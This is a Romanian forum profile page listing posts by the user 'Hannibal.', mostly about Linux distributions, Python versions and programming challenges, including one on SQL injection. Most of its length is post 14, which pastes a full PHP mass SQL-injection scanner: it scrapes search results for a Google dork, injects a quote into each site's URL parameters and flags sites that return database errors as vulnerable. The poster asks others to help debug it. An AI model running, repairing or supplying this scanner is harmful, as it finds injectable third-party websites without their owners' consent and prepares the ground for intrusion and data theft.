Jump to content

Hannibal.

Active Members
 View Profile  See their activity

  • Posts

    75

  • Joined

  • Last visited

About Hannibal.

  • Birthday 01/01/1990

Recent Profile Visitors

The recent visitors block is disabled and is not being shown to other users.

Hannibal.'s Achievements

Newbie

Newbie (1/14)

20

Reputation

  1. Hannibal.
    In general da, sa invat sa folosesc un sistem UNIX based. Am 1 an experienta cu BackBox, si in general, sistemele de operare Linux ma atrag mai mult. Eu aveam de gand sa aleg Linux Mint 15 - "Olivia" cu XFCE ca desktop-environment.
  2. Hannibal.
    Am nevoie de o sugestie, de la cunoscatori, in legatura cu o distributie Linux deoarece nu ma pot decide ce sa aleg. In momentul de fata am instalat Backbox Linux (din pura curiozitate), dar am ajuns la concluzia ca toate acele tool-uri pentru auditing and shit nu imi sunt de niciun folos. Caut sa instalez o distributie noua, dar nu ceva de care o sa ma plictisesc in prima luna. Vreau geva gen Ubuntu, ma refer la usurinta cu care se instaleaza si se intretine sistemul, dar ceva mult mai light...ma gandisem la Mint, dar nu l-am mai incercat inainte, nu stiu cum se comporta. Am un PC destul de depasit, 1 GB RAM, placa video on-board 256 MB deci chestiile fancy cu bari si teme aero imi cam ingreuneaza sistemul. Ce distributii ati incercat si v-au atras?
  3. Hannibal.
    Nu am vrut rezolvarea in Python, stai linistit. Am vrut sa vad cum ganditi voi, care ar fi sansele alea de care zici:P
  4. Hannibal.
    Se considera un caz general. Cazurile particulare gen an bisect / gemeni / etc. se exclud
  5. Hannibal.
    Sunt curios cum ganditi unii dintre voi. Incercati sa evitati Google pe cat de mult posibil. - Think Python: Exercise 10.8
  6. Hannibal.
    Cred ca e cea mai des intalnita intrebare in categoriile de genul. Problema mea sta in felul urmator: Ca programator am inteles ca ar trebui sa cunosti 3 limbaje: unul care iti place, unul care se cere si unul care foloseste baze de date. Si ca sa o iau cu inceputul am ales Python pt. prima categorie. Cum era si normal am cautat documentatie pe internet, am descarcat cateva tutoriale video, ebook-uri, etc. Dar ... majoritatea foloseau versiunile 2.x sau 3.x ale Python. Si trebuie sa ma adaptez in functie de documentatie. Si cand trec de la una la alta versiunile nu se potrivesc. Ma va influenta cu ceva daca citesc documentatie pt 2.x sau pt 3.x? Imi va afecta cu ceva felul in care scriu cod? De ce as alege 2.x sau 3.x? Si ar trebui sa renunt la documentatia pt. cealalta versiune? PS: Nu vreau sa-mi postati vreun change-log de pe python.org, le-am citit deja, sunt satul de ele.
  7. Hannibal.
    *** hint ***
  8. Hannibal.
    @ajkaro .. I've told you..
  9. Hannibal.
    Cam asa ceva? Scuza-ma ca am postat asa tarziu, acum m-am trezit:"> Multumesc pentru challenge.
  10. Hannibal.
    Eu am mai mult o sugestie decat o intrebare, nu stiu daca e locul potrivit, imi cer scuze daca am gresit. Ideea cu academia e chiar foarte buna, studiul in grup e mult mai usor, dar are totusi o lipsa. Ce lipseste sunt teme! Aplicatii simple in C care le-ar pune mintea la lucru celor care vor sa invete. De ex: Sa se scrie un program care calculeaza ecuatia de gradul 2: ax^2+bx+c cu a, b, c citite de la tastatura. Sau..nu stiu..vedeti voi:)) Asta e cel mai bun mod sa intelegi si sa practici ceea ce citesti. Sa scrii cat mai mult cod.
  11. Hannibal.
    @BitMap: Macar daca te-ai fi obosit sa citesti tot topicul ti-ai fi dat si singur seama, sunteti penibili, sincer.
  12. Hannibal.
    Nu am incercat inca challenge-ul, te-am intrebat pentru ca nu ai specificat, ma gandeam ca ai alte cerinte. Oricum, m-am lamurit, UNION BASED. //LE: Destul de usor, multumesc pentru challenge.
  13. Hannibal.
    Trebuie rezolvata prin union based..sau? Nu de alta dar nu ai specificat.
  14. Hannibal.
    Pentru cei care se pricep in PHP, explicati-mi si mie de ce urmatorul script nu afiseaza niciun rezultat dupa ce introduc dork-ul? <html> <head> <title>m0bil3_xT's SQLi Scanner</title> <center><img src="http://i.imgur.com/lH3GO.png"> </center> </head> <body bgcolor=#000000> <style> body{ font: 10pt Verdana; } tr { BORDER-RIGHT: #3e3e3e 1px solid; BORDER-TOP: #3e3e3e 1px solid; BORDER-LEFT: #3e3e3e 1px solid; BORDER-BOTTOM: #3e3e3e 1px solid; color: #ff9900; } td { BORDER-RIGHT: #3e3e3e 1px solid; BORDER-TOP: #3e3e3e 1px solid; BORDER-LEFT: #3e3e3e 1px solid; BORDER-BOTTOM: #3e3e3e 1px solid; color: #2BA8EC; font: 10pt Verdana; } table { BORDER-RIGHT: #3e3e3e 1px solid; BORDER-TOP: #3e3e3e 1px solid; BORDER-LEFT: #3e3e3e 1px solid; BORDER-BOTTOM: #3e3e3e 1px solid; BACKGROUND-COLOR: #111; } input { BORDER-RIGHT: #3e3e3e 1px solid; BORDER-TOP: #3e3e3e 1px solid; BORDER-LEFT: #3e3e3e 1px solid; BORDER-BOTTOM: #3e3e3e 1px solid; BACKGROUND-COLOR: Black; font: 10pt Verdana; color: #ff9900; } input.submit { text-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan; color: #FFFFFF; border-color: #009900; } code { border : dashed 0px #333; BACKGROUND-COLOR: Black; font: 10pt Verdana bold; color: while; } run { border : dashed 0px #333; font: 10pt Verdana bold; color: #FF00AA; } textarea { BORDER-RIGHT: #3e3e3e 1px solid; BORDER-TOP: #3e3e3e 1px solid; BORDER-LEFT: #3e3e3e 1px solid; BORDER-BOTTOM: #3e3e3e 1px solid; BACKGROUND-COLOR: #1b1b1b; font: Fixedsys bold; color: #aaa; } A:link { COLOR: #2BA8EC; TEXT-DECORATION: none } A:visited { COLOR: #2BA8EC; TEXT-DECORATION: none } A:hover { text-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan; color: #ff9900; TEXT-DECORATION: none } A:active { color: Red; TEXT-DECORATION: none } .listdir tr:hover{ background: #444; } .listdir tr:hover td{ background: #444; text-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan; color: #FFFFFF; TEXT-DECORATION: none; } .notline{ background: #111; } .line{ background: #222; } </style> <center> <br/> <?php echo "<font style='text-shadow: 0px 0px 6px rgb(255, 0, 0), 0px 0px 5px rgb(300, 0, 0), 0px 0px 5px rgb(300, 0, 0); color:#ffffff; font-weight:bold;' size='5'> </font><br><font style='text-shadow: 0px 0px 6px rgb(255, 0, 0), 0px 0px 5px rgb(300, 0, 0), 0px 0px 5px rgb(300, 0, 0); color:#ffffff; font-weight:bold;' size='5'></font></b><br><br><center><a href=' target='_blank'></a><br><a</a></center><br></font><center><font style='text-shadow: 0px 0px 6px rgb(255, 0, 0), 0px 0px 5px rgb(300, 0, 0), 0px 0px 5px rgb(300, 0, 0); color:#ffffff; font-weight:bold;' size='2'></font><br><br></center>"; $your_ip = $_SERVER['REMOTE_ADDR']; echo "<font style='text-shadow:0px 0px 10px #12E12E; font-weight:bold;' color=#FF0000 size='2'>Your IP : </font><font style='text-shadow:0px 0px 10px #12E12E; font-weight:bold;' color=#FF0000 size='2'>$your_ip</font><br>"; $server_ip = @gethostbyname($_SERVER["HTTP_HOST"]); echo "<font style='text-shadow:0px 0px 10px #12E12E; font-weight:bold;' color=#FF0000 size='2'>Server IP : </font><font style='text-shadow:0px 0px 10px #12E12E; font-weight:bold;' color=#FF0000 size='2'>$server_ip </font><br><br>"; echo '<form method="post" action=""><font color="red">Dork :</font> <input type="text" value="" name="dork" size="20"/><input type="submit" name="scan" value="Scan"></form></center>'; ob_start(); set_time_limit(0); if (isset($_POST['scan'])) { $browser = $_SERVER['HTTP_USER_AGENT']; $first = "startgoogle.startpagina.nl/index.php?q="; $sec = "&start="; $reg = '/<p class="g"><a href="(.*)" target="_self" onclick="/'; for($id=0 ; $id<=30; $id++){ $page=$id*10; $dork=urlencode($_POST['dork']); $url = $first.$dork.$sec.$page; $curl = curl_init($url); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl,CURLOPT_USERAGENT,'$browser)'); $result = curl_exec($curl); curl_close($curl); preg_match_all($reg,$result,$matches); foreach($matches[1] as $site){ $url = preg_replace("/=/", "='", $site); $curl=curl_init(); curl_setopt($curl,CURLOPT_RETURNTRANSFER,1); curl_setopt($curl,CURLOPT_URL,$url); curl_setopt($curl,CURLOPT_USERAGENT,'$browser)'); curl_setopt($curl,CURLOPT_TIMEOUT,'5'); $GET=curl_exec($curl); if (preg_match("/error in your SQL syntax|mysql_fetch_array()|execute query|mysql_fetch_object()|mysql_num_rows()|mysql_fetch_assoc()|mysql_fetch?_row ()|SELECT * FROM|supplied argument is not a valid MySQL|Syntax error|Fatal error/i",$GET)) { echo '<center><b><font color="#E10000">Found : </font><a href="'.$url.'" target="_blank">'.$url.'</a><font color=#FF0000> <-- SQLI Vuln Found..</font></b></center>'; ob_flush();flush(); }else{ echo '<center><font color="#FFFFFF"><b>'.$url.'</b></font><font color="#0FFF16"> <-- Not Vuln</font></center>'; ob_flush();flush(); } ob_flush();flush(); } ob_flush();flush(); } ob_flush();flush(); } ?> </body> </html> Ar trebui sa-mi returneze o lista de URL-uri dupa dork-ul pe care l-am introdus si in dreptul lor daca sunt vulnerabile sau nu. Dar mie nu imi afiseaza niciun rezultat.
  15. Hannibal.
    Eu pot!:>
×
×
  • Create New...